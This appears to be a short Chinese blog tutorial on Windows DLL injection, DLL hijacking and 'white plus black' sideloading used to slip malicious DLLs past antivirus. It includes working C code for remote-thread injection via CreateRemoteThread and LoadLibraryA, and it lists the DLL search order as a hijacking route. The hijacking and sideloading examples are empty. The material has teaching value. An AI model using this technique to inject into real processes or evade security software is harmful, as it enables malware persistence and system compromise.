DLL注入&&DLL劫持&&白加黑
DLL?
.dll,动态链接库英文为DLL,是Dynamic Link Library的缩写。DLL是一个包含可由多个程序,同时使用的代码和数据的库。
白话:说白了就像是一个封装好的类库,里面提供许多的函数供调用。
DLL注入
就是在指定的进程中注入我们的恶意DLL。
常规手法:
编写恶意DLL => 创建远程线程 => 把线程函数设置为loadlibrary => 参数为恶意DLL。
案例
void Inject(int pID, char* Path) {
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pID);
LPVOID pRetrunAddress = VirtualAllocEx(hProcess, NULL, strlen(Path) + 1, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, pRetrunAddress, Path, strlen(Path) + 1, NULL);
HMODULE hModule = LoadLibraryA("KERNEL32.DLL");
LPTHREAD_START_ROUTINE ipStartAddress = (LPTHREAD_START_ROUTINE)GetProcAddress(hModule, "LoadLibraryA");
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, ipStartAddress, pRetrunAddress, 0, NULL);
WaitForSingleObject(hThread, 2000);
CloseHandle(hThread);
CloseHandle(hProcess);
}
int main() {
// 注入的DLL路径,注意\使用\\表示
const char* path = "E:\\CPPStudy\\DllStudy\\Debug\\DllStudy.dll";
// 参数1:目标进程ID,参数2:注入的DLL路径
Inject(17732, (char*)path);
return 0;
}
通常如果我们不做清理工作的话注入的DLL会直至程序关闭才失效。
当然我们也可以手动卸载,方法差不多,如果是强制卸载的话略微有点麻烦。
DLL劫持
DLL劫持主要产生在DLL加载。说白了就是通过类似火绒剑的工具查看程序运行过程中加载的DLL,然后我们构造恶意DLL进行替换。
DLL加载顺序
程序所在目录。
加载 DLL 时所在的当前目录。
系统目录即 SYSTEM32 目录。
16位系统目录即 SYSTEM 目录。
Windows目录。
PATH环境变量中列出的目录
案例
原本程序
恶意DLL
白加黑
所谓的”白加黑”,笼统来说是”白exe”加”黑dll”,”白exe”是指带有数字签名的正常exe文件,那么”黑dll”当然是指包含恶意代码 的dll文件。病毒借助那些带数字签名且在杀毒软件白名单内的exe程序去加载自己带有恶意代码的dll,便能获得杀毒软件主动防御的自动信任,从而成功 加载到系统中。(PS:网上偷的)
白加黑暂时没有演示案例。。。。。
结语
如有错误之处,还请多多包涵,当然,欢迎指正。
评论